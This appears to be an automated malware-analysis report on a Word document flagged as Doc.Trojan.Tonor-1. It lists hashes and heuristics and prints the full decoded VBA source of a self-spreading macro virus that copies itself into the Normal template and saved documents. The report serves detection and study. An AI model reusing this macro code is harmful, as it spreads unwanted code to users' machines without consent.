Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b506d7bd2f905ba2…

MALICIOUS

Office (OLE)

35.0 KB Created: 2000-02-18 11:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dd97fbd9ea690e2d24283eb7ff872852 SHA-1: 288f20d097211d9923f4a7836014e4ff2c07ade7 SHA-256: b506d7bd2f905ba23353b26337def8b1951285a1449ea27c9b0a79a1ce34ddce
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to the Normal template and the current document, potentially to establish persistence or spread. The ClamAV detection 'Doc.Trojan.Tonor-1' further supports its malicious nature. The macro's intent to spread and persist is evident from its self-copying behavior.

Heuristics 4

  • ClamAV: Doc.Trojan.Tonor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tonor-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1774 bytes
SHA-256: c7b9897f8ac33f214e5c3d88fa3e387c8664c3144786501fda2c9a37760f91c5
Detection
ClamAV: Doc.Trojan.Tonor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "TONORMAL"
Public Sub AutoOpen()

If Templates(1).AutoTextEntries.Item(1) = "IAMHERE" Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
            Destination:=Application.Templates(1).FullName, Name:="TONORMAL", _
            Object:=wdOrganizerObjectProjectItems
Templates(1).AutoTextEntries.Add("- AAAAAAAA", ActiveDocument.Words(1)) = "IAMHERE"
done:
On Error GoTo kill
kill:
End Sub
Public Sub FileSaveAs()
Dim kobar As String
If (ActiveDocument.Variables.Count > 0) Then If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
            Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
            Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"

done:
ActiveDocument.SaveAs (Dialogs(wdDialogFileSaveAs).Name)
On Error GoTo kill
kill:
End Sub
Public Sub FileSave()
If ActiveDocument.Variables.Count > 0 Then
    If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done
    Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
            Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
            Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"
End If
done:
ActiveDocument.Save
On Error GoTo kill
kill:

End Sub
Public Sub about()
' VIRUS 8x64oct
' FROM ESTONIA
' NOT HARMFUL
' ONLY SPREADS
End Sub